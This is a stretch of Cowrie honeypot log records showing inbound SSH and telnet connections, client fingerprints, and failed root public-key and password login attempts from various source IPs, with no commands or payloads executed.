{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"74:bf:80:dc:cf:46:ee:27:8a:19:c8:fd:5f:0b:d0:3d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDbuSsXE6gMT6Vk+JRaZcYDA8FmOxOvrg07doQJUOIEFYIvTNM4+E83iE+sb/QFeqGLA1YTt5+EXDIx7/b11XtKm9VFtH0eL8wBLdRvCnXVTYOoN6A7EbM6hXy+4gbOUQOiWLx9xaVPdPZzJf0cl3M9GDpfQTq0SVG7aFzJ6pXyK2h/XoOAZ2fCStXfNQxB1hju0etCaUEqTLKlzfRpZWjsOBWqlp/gZLwf8IV76Zi193sMM+mxdvVZHlczHvETn3GvKMaSkwMZjoZXHqDMRjaBu3oFTrAYgkFKTYP+kELL9Ycfpx6i9rGxE8QljhbmavDvf7bq/JY+GWaIbPaFlu3/","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 74:bf:80:dc:cf:46:ee:27:8a:19:c8:fd:5f:0b:d0:3d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:59:10.357825Z","src_ip":"186.233.184.67","session":"484095848060","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"74:bf:80:dc:cf:46:ee:27:8a:19:c8:fd:5f:0b:d0:3d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDbuSsXE6gMT6Vk+JRaZcYDA8FmOxOvrg07doQJUOIEFYIvTNM4+E83iE+sb/QFeqGLA1YTt5+EXDIx7/b11XtKm9VFtH0eL8wBLdRvCnXVTYOoN6A7EbM6hXy+4gbOUQOiWLx9xaVPdPZzJf0cl3M9GDpfQTq0SVG7aFzJ6pXyK2h/XoOAZ2fCStXfNQxB1hju0etCaUEqTLKlzfRpZWjsOBWqlp/gZLwf8IV76Zi193sMM+mxdvVZHlczHvETn3GvKMaSkwMZjoZXHqDMRjaBu3oFTrAYgkFKTYP+kELL9Ycfpx6i9rGxE8QljhbmavDvf7bq/JY+GWaIbPaFlu3/","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:59:10.362439Z","src_ip":"186.233.184.67","session":"484095848060","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ab:ae:e6:c1:33:cb:84:05:2c:1e:06:cc:37:1b:8f:4f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDMSjxyXuY8AgaNMoknZubXhAV103zTvWNqxDnLSIyWUJp2rSKAiKZ9iiQayL+hyOlpEIpXv1C3N4/AnU3dDu0BOK/cxoV9gU/xbPNhaGynO7X+Ftf6On5BApFaiFqm4aemjaDlF043xvQSrIO6dkV4jpITUcgFHEzfmAaHEXzipbYOP1CEdC4yYhwLqdm2+RPcsUepnjoJZDRG3aECckvjN9SpUv5bveqga0PL2w7tqNRmD4tuC0quswCkj46NBU/Ro2tQM0QlxNLo2SEr4ooAxBX2TamrtMxaEw6WYWEcvFdLatagh++9TxiGP+wKWmn32Ni7dPqaYLBpB3Y37ozGCSKnekAH0bdiSRfkrkVAkbHlJtDANOMfPUQ2Pn66ttpF2WhQSXaOES9pV3+5l/0qW2OD7R45fO0vp5tufnFaBkI0dMxIV8SswzOnjv+UiX0rY9jeN+6CRtR1t59zXTh710aA5ui0MB5PQdoPxdvP269R9qYB75pRo8Jyz/+rr58mOgJ+QRrY5e+gA0fhkDZNEVZh6RgyD2ps58Rak8hlgp7SVimww7M+24MQerlvm2FnIdr43ev6poUX7yZKcf8JUWOVf6MfRYO3i58t8fN9hAe3sXCfUPtUB8x4VcUV3uMGf38F+cBRMoYaai/Rd3ygLWtAbdJgL71LZAsOQU7pEw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ab:ae:e6:c1:33:cb:84:05:2c:1e:06:cc:37:1b:8f:4f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:59:10.403169Z","src_ip":"186.233.184.67","session":"484095848060","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ab:ae:e6:c1:33:cb:84:05:2c:1e:06:cc:37:1b:8f:4f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDMSjxyXuY8AgaNMoknZubXhAV103zTvWNqxDnLSIyWUJp2rSKAiKZ9iiQayL+hyOlpEIpXv1C3N4/AnU3dDu0BOK/cxoV9gU/xbPNhaGynO7X+Ftf6On5BApFaiFqm4aemjaDlF043xvQSrIO6dkV4jpITUcgFHEzfmAaHEXzipbYOP1CEdC4yYhwLqdm2+RPcsUepnjoJZDRG3aECckvjN9SpUv5bveqga0PL2w7tqNRmD4tuC0quswCkj46NBU/Ro2tQM0QlxNLo2SEr4ooAxBX2TamrtMxaEw6WYWEcvFdLatagh++9TxiGP+wKWmn32Ni7dPqaYLBpB3Y37ozGCSKnekAH0bdiSRfkrkVAkbHlJtDANOMfPUQ2Pn66ttpF2WhQSXaOES9pV3+5l/0qW2OD7R45fO0vp5tufnFaBkI0dMxIV8SswzOnjv+UiX0rY9jeN+6CRtR1t59zXTh710aA5ui0MB5PQdoPxdvP269R9qYB75pRo8Jyz/+rr58mOgJ+QRrY5e+gA0fhkDZNEVZh6RgyD2ps58Rak8hlgp7SVimww7M+24MQerlvm2FnIdr43ev6poUX7yZKcf8JUWOVf6MfRYO3i58t8fN9hAe3sXCfUPtUB8x4VcUV3uMGf38F+cBRMoYaai/Rd3ygLWtAbdJgL71LZAsOQU7pEw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:59:10.407646Z","src_ip":"186.233.184.67","session":"484095848060","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"99:a5:4f:a3:93:d7:54:0c:c0:be:44:f6:09:94:47:2b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCs5tm4dOzS3DD8mn51CXyO5qkJUziVvAYpfWSW68QX4cbS7vABeVv9hDb2FiSw3PKTy190wrHuhDx1sW8nB+x9Bj3UBeeMO/pDiNKXRt9OQ8xg/KvDJPVtLzlGbo7Z9ok0jmrjow9keChZBqX2g/Amjr2wHfTHgRBJ/PZEaE+Jivc8+b2kgaedijzL8apaKa4pCamuJY02rnGwPPAOAuSBbs75Xi+MHE0WuXwKgokJhCm8hsMeoZYxzfjnZGn9GPsAMV4GSAi+Fz10YTgDvYymvAllp2rVGMq/4akIIouX33BOsqw+RLUYS4icMvAx6CveD6mr8mmU4FrETGju/6cgeD6XRmpPiAntyKLILaTl75KaW+9PLUUhQ7nBZlyzuwSqCn5LdGAXZJqmr9JHBqIyhL+sODBb7v8yxm9P1nxRxTE6hdv6w0geRTJ5TahErJFeUw6royJG0qBAE4qER7e0Kq1ghlwNxwZOMqxvfC/hc/VCGGZ1tqGoQYD0rFxe209bvxybWjPq0ruOveVosng0AGs/Dd23kiUcLKFU6V3o07BJnl8VWgSZ/Dk1qXw+GzLMWPfLqN2iMyvO6GLsa8xfRIiyHh9c8Arbndm/oDosEkDHyoQj8om/SuahgXDdMI3ndzWoDoMVpLCOwv1mMslPum8WLbDUsMRB42YXsx6W6w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 99:a5:4f:a3:93:d7:54:0c:c0:be:44:f6:09:94:47:2b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:59:10.448969Z","src_ip":"186.233.184.67","session":"484095848060","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"99:a5:4f:a3:93:d7:54:0c:c0:be:44:f6:09:94:47:2b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCs5tm4dOzS3DD8mn51CXyO5qkJUziVvAYpfWSW68QX4cbS7vABeVv9hDb2FiSw3PKTy190wrHuhDx1sW8nB+x9Bj3UBeeMO/pDiNKXRt9OQ8xg/KvDJPVtLzlGbo7Z9ok0jmrjow9keChZBqX2g/Amjr2wHfTHgRBJ/PZEaE+Jivc8+b2kgaedijzL8apaKa4pCamuJY02rnGwPPAOAuSBbs75Xi+MHE0WuXwKgokJhCm8hsMeoZYxzfjnZGn9GPsAMV4GSAi+Fz10YTgDvYymvAllp2rVGMq/4akIIouX33BOsqw+RLUYS4icMvAx6CveD6mr8mmU4FrETGju/6cgeD6XRmpPiAntyKLILaTl75KaW+9PLUUhQ7nBZlyzuwSqCn5LdGAXZJqmr9JHBqIyhL+sODBb7v8yxm9P1nxRxTE6hdv6w0geRTJ5TahErJFeUw6royJG0qBAE4qER7e0Kq1ghlwNxwZOMqxvfC/hc/VCGGZ1tqGoQYD0rFxe209bvxybWjPq0ruOveVosng0AGs/Dd23kiUcLKFU6V3o07BJnl8VWgSZ/Dk1qXw+GzLMWPfLqN2iMyvO6GLsa8xfRIiyHh9c8Arbndm/oDosEkDHyoQj8om/SuahgXDdMI3ndzWoDoMVpLCOwv1mMslPum8WLbDUsMRB42YXsx6W6w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:59:10.453968Z","src_ip":"186.233.184.67","session":"484095848060","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"63:62:cd:62:05:a8:6e:21:94:33:4f:1b:29:7d:40:58","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDgo8AHt+I/mIQfltmiAodmZodafsFa+E4h4g8auapBn1fywn9uxlYf6rtcz0awWBNTpIolB1FXZRZ9Ehdd5FW37cVDD2qLVHpADvOqzI7zslJQ+WGdVhVzsmUd7mmchj2+A0+wg2kSI/aBUr/rkNRYHsqwG6OwR4031/LnF/aFbfGlZkwa2HETHuQp8wATZUOPhpqi3f2uoi7mSonWFj4TX/apZe+V6gsmVzIjaxecOcc1SJ7mwHQx0rP07oTSE0WWntb6212SBL2V8PDMZCAyLGsNyCb7PGMnlCR5zMx8m1wbvg2cTL+KqOQtKy46JRbYNpoytpE8D+b0anNrjnk35Jszo4oAzs60nXZdYSfMuooS5lj1YKE90CH7zfCtfzdlo5CZjfmPFtA+cNVsJvCrM5sWu7+n4PdU2VqenR0P1WtrtWSXYABkP2iDTHf37itaRdy7wAIPGw7ElEYtqznDEx6p4zeFHl9fpICB+hCrGVutpneAN9iAm9p7enFNdz4fNAvFlKji8gmlQyEnI8vh7FTn30/ie7un8YSX+R3n1G7BGrO9EecQqLOEswOMXt1mMRq8UVMPL2iZno476Ej5RmmhF7s4t9cXhF9minEDy6Wup4MA64ZPoiQC5vhxd9jL6QflOYCULnJrAZR0Mct3NNYnMCAwfFjjKjEG1hnOxw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 63:62:cd:62:05:a8:6e:21:94:33:4f:1b:29:7d:40:58","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:59:10.496343Z","src_ip":"186.233.184.67","session":"484095848060","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"63:62:cd:62:05:a8:6e:21:94:33:4f:1b:29:7d:40:58","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDgo8AHt+I/mIQfltmiAodmZodafsFa+E4h4g8auapBn1fywn9uxlYf6rtcz0awWBNTpIolB1FXZRZ9Ehdd5FW37cVDD2qLVHpADvOqzI7zslJQ+WGdVhVzsmUd7mmchj2+A0+wg2kSI/aBUr/rkNRYHsqwG6OwR4031/LnF/aFbfGlZkwa2HETHuQp8wATZUOPhpqi3f2uoi7mSonWFj4TX/apZe+V6gsmVzIjaxecOcc1SJ7mwHQx0rP07oTSE0WWntb6212SBL2V8PDMZCAyLGsNyCb7PGMnlCR5zMx8m1wbvg2cTL+KqOQtKy46JRbYNpoytpE8D+b0anNrjnk35Jszo4oAzs60nXZdYSfMuooS5lj1YKE90CH7zfCtfzdlo5CZjfmPFtA+cNVsJvCrM5sWu7+n4PdU2VqenR0P1WtrtWSXYABkP2iDTHf37itaRdy7wAIPGw7ElEYtqznDEx6p4zeFHl9fpICB+hCrGVutpneAN9iAm9p7enFNdz4fNAvFlKji8gmlQyEnI8vh7FTn30/ie7un8YSX+R3n1G7BGrO9EecQqLOEswOMXt1mMRq8UVMPL2iZno476Ej5RmmhF7s4t9cXhF9minEDy6Wup4MA64ZPoiQC5vhxd9jL6QflOYCULnJrAZR0Mct3NNYnMCAwfFjjKjEG1hnOxw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:59:10.501558Z","src_ip":"186.233.184.67","session":"484095848060","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"75:f4:0b:c5:10:0d:bf:1f:15:4f:01:d0:6a:d5:50:32","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDFPC54iULioKzJqhHrdgdso+ojgQ/GAxLVaw+CjSXB1jAhgKrFm/Ag0Yx6GzcMZjzRm5jfNhbW4HlyGaZqpTiQquwYlBwN5IQzq1shSM/MAuBKnwmcIrTkMg2Yfp6gB85U9D3JbXGVpwCt94EmsyqtRWJ6bap9hMjJLw5Xxc7FgpO15d/PIUZaXYk/UoW8v9ZFLRqJce6xwv6yyI6vq0mNth0ACh+ytxpSQHOW1eyfyerJqS1alRsTzbW+Vd8yqXcRl8iBH7CsLhjH7YgGdWgr/zwndE+cpoDWVAHTAugoCo1zl8yrckVCYIaprKoAoHT+O4f4GiDL1uNCmxunA/QdY0xmgqXsGy/yj7yAyI+nDjIqXOWdGk4kjYadFOpr5HVtqq4fBkWoF/bfDyrweRkJEpDy620A1FgPSGXEcWpriCOkXUKep/bhwWfaf7zYLH6kv9rblsDd+ZnOMD33pS2r7zFwT/cpRajlroDCQesqbIKXUtxTpWNXZux6NXXeSaj77Ol02mJiNCDq9NkjnNsrtU3qgYxM2+MqLzX6HDQuVe1WqHMdWvFtPjP9y5fNlJcXWYV7l8eLbWhca3U5/BZUfX2g4IaBo3lW32wVeq1rPfh3gm8j6sjxoVQcc5/VyM4SuOlllLGwO6fxfXaJu8xFnOXKmdvC4NMDnhaNvx846w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 75:f4:0b:c5:10:0d:bf:1f:15:4f:01:d0:6a:d5:50:32","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:59:10.550489Z","src_ip":"186.233.184.67","session":"484095848060","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"75:f4:0b:c5:10:0d:bf:1f:15:4f:01:d0:6a:d5:50:32","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDFPC54iULioKzJqhHrdgdso+ojgQ/GAxLVaw+CjSXB1jAhgKrFm/Ag0Yx6GzcMZjzRm5jfNhbW4HlyGaZqpTiQquwYlBwN5IQzq1shSM/MAuBKnwmcIrTkMg2Yfp6gB85U9D3JbXGVpwCt94EmsyqtRWJ6bap9hMjJLw5Xxc7FgpO15d/PIUZaXYk/UoW8v9ZFLRqJce6xwv6yyI6vq0mNth0ACh+ytxpSQHOW1eyfyerJqS1alRsTzbW+Vd8yqXcRl8iBH7CsLhjH7YgGdWgr/zwndE+cpoDWVAHTAugoCo1zl8yrckVCYIaprKoAoHT+O4f4GiDL1uNCmxunA/QdY0xmgqXsGy/yj7yAyI+nDjIqXOWdGk4kjYadFOpr5HVtqq4fBkWoF/bfDyrweRkJEpDy620A1FgPSGXEcWpriCOkXUKep/bhwWfaf7zYLH6kv9rblsDd+ZnOMD33pS2r7zFwT/cpRajlroDCQesqbIKXUtxTpWNXZux6NXXeSaj77Ol02mJiNCDq9NkjnNsrtU3qgYxM2+MqLzX6HDQuVe1WqHMdWvFtPjP9y5fNlJcXWYV7l8eLbWhca3U5/BZUfX2g4IaBo3lW32wVeq1rPfh3gm8j6sjxoVQcc5/VyM4SuOlllLGwO6fxfXaJu8xFnOXKmdvC4NMDnhaNvx846w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:59:10.555127Z","src_ip":"186.233.184.67","session":"484095848060","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:59:10.595869Z","src_ip":"186.233.184.67","session":"484095848060","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":10.59325885772705,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:59:11.003964Z","src_ip":"147.182.143.59","session":"f4f637147d46","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.884277820587158,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:59:13.256015Z","src_ip":"147.182.143.59","session":"86aa204c81c3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.318000793457031,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:59:15.838550Z","src_ip":"84.54.72.146","session":"fd5155dcbbd6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"79.104.0.82","src_port":45462,"dst_ip":"10.17.0.5","dst_port":22,"session":"2d0d225e7f10","protocol":"ssh","message":"New connection: 79.104.0.82:45462 (10.17.0.5:22) [session: 2d0d225e7f10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:59:18.556733Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:59:18.570471Z","src_ip":"79.104.0.82","session":"2d0d225e7f10","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:59:18.724718Z","src_ip":"79.104.0.82","session":"2d0d225e7f10","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testing","password":"testingpass","message":"login attempt [testing/testingpass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:59:19.366648Z","src_ip":"79.104.0.82","session":"2d0d225e7f10","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:59:20.522175Z","src_ip":"79.104.0.82","session":"2d0d225e7f10","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":35650,"dst_ip":"10.17.0.5","dst_port":23,"session":"898ff289af5e","protocol":"telnet","message":"New connection: 45.58.127.90:35650 (10.17.0.5:23) [session: 898ff289af5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:59:25.206985Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":35662,"dst_ip":"10.17.0.5","dst_port":23,"session":"aa84dea3b717","protocol":"telnet","message":"New connection: 45.58.127.90:35662 (10.17.0.5:23) [session: aa84dea3b717]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:59:25.380943Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":35674,"dst_ip":"10.17.0.5","dst_port":23,"session":"a3f20964c385","protocol":"telnet","message":"New connection: 45.58.127.90:35674 (10.17.0.5:23) [session: a3f20964c385]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:59:25.839222Z"}
{"eventid":"cowrie.session.closed","duration":120.00566577911377,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:59:30.148404Z","src_ip":"179.119.25.114","session":"1b50e87be1ad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"179.119.25.114","src_port":58538,"dst_ip":"159.203.135.109","dst_port":23,"session":"16230f1b0630","protocol":"telnet","message":"New connection: 179.119.25.114:58538 (159.203.135.109:23) [session: 16230f1b0630]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:59:30.523260Z"}
{"eventid":"cowrie.session.connect","src_ip":"47.239.15.75","src_port":33948,"dst_ip":"159.203.135.109","dst_port":22,"session":"4bc315e20912","protocol":"ssh","message":"New connection: 47.239.15.75:33948 (159.203.135.109:22) [session: 4bc315e20912]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:59:30.950521Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:59:30.955643Z","src_ip":"47.239.15.75","session":"4bc315e20912","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":37964,"dst_ip":"10.17.0.5","dst_port":23,"session":"31d4514b01f0","protocol":"telnet","message":"New connection: 45.58.127.90:37964 (10.17.0.5:23) [session: 31d4514b01f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:59:32.798326Z"}
{"eventid":"cowrie.session.closed","duration":34.11527609825134,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:59:33.277379Z","src_ip":"45.58.127.90","session":"d16c98f37b6e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":37974,"dst_ip":"10.17.0.5","dst_port":23,"session":"ea2f8abe20fa","protocol":"telnet","message":"New connection: 45.58.127.90:37974 (10.17.0.5:23) [session: ea2f8abe20fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:59:33.345373Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":37978,"dst_ip":"10.17.0.5","dst_port":23,"session":"70c839ea6176","protocol":"telnet","message":"New connection: 45.58.127.90:37978 (10.17.0.5:23) [session: 70c839ea6176]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:59:35.297247Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":37982,"dst_ip":"10.17.0.5","dst_port":23,"session":"03dac4ae1f30","protocol":"telnet","message":"New connection: 45.58.127.90:37982 (10.17.0.5:23) [session: 03dac4ae1f30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:59:40.885689Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":12382,"dst_ip":"10.17.0.5","dst_port":22,"session":"d46ba4f35f11","protocol":"ssh","message":"New connection: 87.251.64.176:12382 (10.17.0.5:22) [session: d46ba4f35f11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:59:46.207506Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:59:46.258035Z","src_ip":"87.251.64.176","session":"d46ba4f35f11","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:59:46.355243Z","src_ip":"87.251.64.176","session":"d46ba4f35f11","protocol":"ssh"}
